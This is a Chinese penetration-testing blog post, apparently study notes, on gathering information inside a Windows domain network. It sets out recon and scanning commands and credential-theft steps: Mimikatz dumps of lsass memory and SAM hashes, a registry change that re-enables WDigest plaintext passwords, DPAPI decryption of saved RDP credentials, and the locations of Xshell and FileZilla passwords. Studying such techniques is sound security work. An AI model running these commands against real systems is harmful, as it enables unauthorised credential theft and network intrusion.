内网渗透之信息收集

内网渗透系列主要是学习《内网渗透体系建设》的笔记,作为整理和记录。

本机基础信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 查看当前用户、权限
whoami /all

# 查看网络配置信息
ipconfig /all

# 查看主机路由信息
route print

# 查看操作系统信息
systeminfo

# 查看端口和连接信息
netstat -ano

# 查看当前进程信息
tasklist
wmic process get Name,ProcessId,ExecutablePath
wmic process where Name="msedge.exe" get ExecutablePath

# 查看当前会话列表
net session

# 查看当前网络共享信息
net share

# 查看已连接的网络共享
net use

# 查看服务信息
wmic service get Caption,Name,PathName,StartName,State

# 查看计划任务信息
schtasks /query /v /fo list

# 查看自启动程序信息
wmic startup get Caption,Command,Location,User

# 查看系统补丁安装信息
wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn

# 查看系统应用安装信息
wmic product get Caption,Version

# 查看本地用户/组信息
net user
net user <username>

# 查看本地管理员组
net localgroup administrators

# 查看当前登录的用户
query user

域内信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 判断是否存在域
net config workstation

# 查看域用户信息
net user /domain
net user <username> /domain

wmic useraccount get Caption,Domain,Description

# 查看域用户组信息
net group /domain

net group "Domain Admins" /domain # 查看域管理用户
net group "Domain Computers" /domain # 查看域内所有的客户端主机

# 查看域内密码策略
net accounts /domain

# 查看域控制器列表
net group "Domain Controllers" /domain
nltest /DCLIST:hackme.com

# 查看住域控制器
net time /domain # 在域环境中,主域控制器会同时被用作时间服务器,使得域中所有计算机时间同步

# 定位域控制器
ping DC.hackme.com # 除此之外,域控制器往往同时被作为DNS服务器,所以找到主机所使用的DNS服务器地址也可以定位域控

# 查看域信任关系
nltest /domain_trusts

域内资源探测

发现存活主机

基于ICMP主机探测
使用循环ping命令进行探测

1
for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.30.%I |findstr "TTL="

基于NetBIOS(网络基本输入/输出系统)协议主机探测
NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。

1
nbtscan 192.168.30.1/24

基于UDP主机探测

1
unicornscan -mU 192.168.30.1/24 

基于ARP主机探测

1
arp-scan -t 192.168.30.1/24

基于smb主机探测
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139和445端口,目前倾向于使用445端口。

1
2
3
4
5
# 使用msf进行扫描
use scanner/smb/smb_version
set rhosts 192.168.30.1/24
set threads 20
run

端口扫描

利用telnet探测端口

1
telnet <ip> <port>

使用nmap进行端口扫描

1
2
3
nmap -p 80,88,135,443,8080,3389 192.168.30.10

nmap -sS -p- 192.168.30.10

使用msf进行端口扫描

msf具有很多扫描的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 主机存活扫描
auxiliary/scanner/netbios/nbname
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/smb/smb_version

# 端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/xmas

获取banner信息

使用netcat获取端口的banner

1
2
3
4
5
6
nc -nv 192.168.30.10 445
```

**使用telnet获取banner**
```shell
telnet 192.168.30.10 445

使用nmap获取banner

1
nmap --script=banner -p <Ports> <IP>

用户凭证收集

获取域内单机密码和哈希值

在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot\System32\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换成哈希值,然后与SAM文件中的哈希值进行对比,若相同,则认证成功。

lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全啊和登录策略。在通常情况下,用户输入密码登录后,登陆的域名、用户名和登录凭证等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigets和Tspkg模块调用后,会对其使用可逆的算法加密并存储在内存中。

用来获取主机的用户名和哈希值的工具有很多,这些工具大多是通过读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多需要管理员的权限,这意味需要配合提权的操作。

Mimikatz是一款功能强大的凭据转储开源程序,可以帮助进行提升进程权限、注入进程、读取进程内存等。

在线读取lsass进程内存

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

离线读取lsass内存文件

除了在线读取,也可以直接将lsass.exe的进程内存转储,讲内存文件导出到本地后,使用mimikatz进行离线读取。

使用Procdump把lsass的进程内存dump出来:

1
procdump -accepteula -ma lsass.exe lsass.dmp

离线读取

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

为了防止用户的明文密码泄露,微软在2014年发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows server 2012及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能,当用户注销或者重新登录后,可以重新获取到用户的明文密码

1
2
3
4
# 开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

在线读取本地SAM文件

1
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

离线读取本地SAM文件
为了提高SAM文件的安全性,Windows会对SAM文件使用密钥加密,这个密钥会存储在SYSTEM文件中,与SAM文件位于相同目录下。因此,需要在目标主机上先导出这两个文件。

1
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

获取常见应用软件凭据

RDP
为了避免每次连接服务器都进行身份认证,经常使用RDP的用户可能勾选保存连接凭据,以便进行快速的身份验证。这些凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials

1
2
3
4
cmdkey /list    # 查看当前保存的凭据

# 遍历Credentials目录下保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*

Credentials目录下保存的凭据是加密的,可以尝试使用Mimikatz导出和解密。

1、首先解析连接凭据

1
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D" exit

解析得到的pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID。

2、找到与guidMasterKey(GUID)相关联的MasterKey,这个Masterkey就是加密凭据所使用的密钥

1
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

3、使用MasterKey值破解指定凭据文件,获得明文RDP凭据

1
mimikatz.exe "dpapi::cre /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D/masterkey:xxxxxxxxxxxxxxxxxxxx" exit

Xshell
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,如果用户在连接时勾选了“记住用户名/密码”,该文件会保存服务器连接时的用户名和加密后的密码

1
2
3
4
5
6
# Xshell 5
%USERPROFILE%\Documents\NetSarang\XShell\Sessions
# Xshell 6
%USERPROFILE%\Documents\NetSarang Computer\6\XShell\Sessions
# Xshell 7
%USERPROFILE%\Documents\NetSarang Computer\7\XShell\Sessions

Xshell7之前版本,可以直接通过SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、Winscp和Xmangager系列产品。

Xshell7之后的版本可以使用星号查看器直接查看密码

FileXilla
FileXilla将所有FTP登陆凭证以base64编码后的格式存储在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml中,这是一个xml文件,其中的<User>节点是用户名,<Pass>节点是base64后的密码

浏览器保存的登录凭证
使用HackBrowserData可以直接从浏览器解密数据,包括用户登录密码、书签、Cookie、历史记录、银行卡、下载链接等。

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2023/04/02/内网渗透/信息收集/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog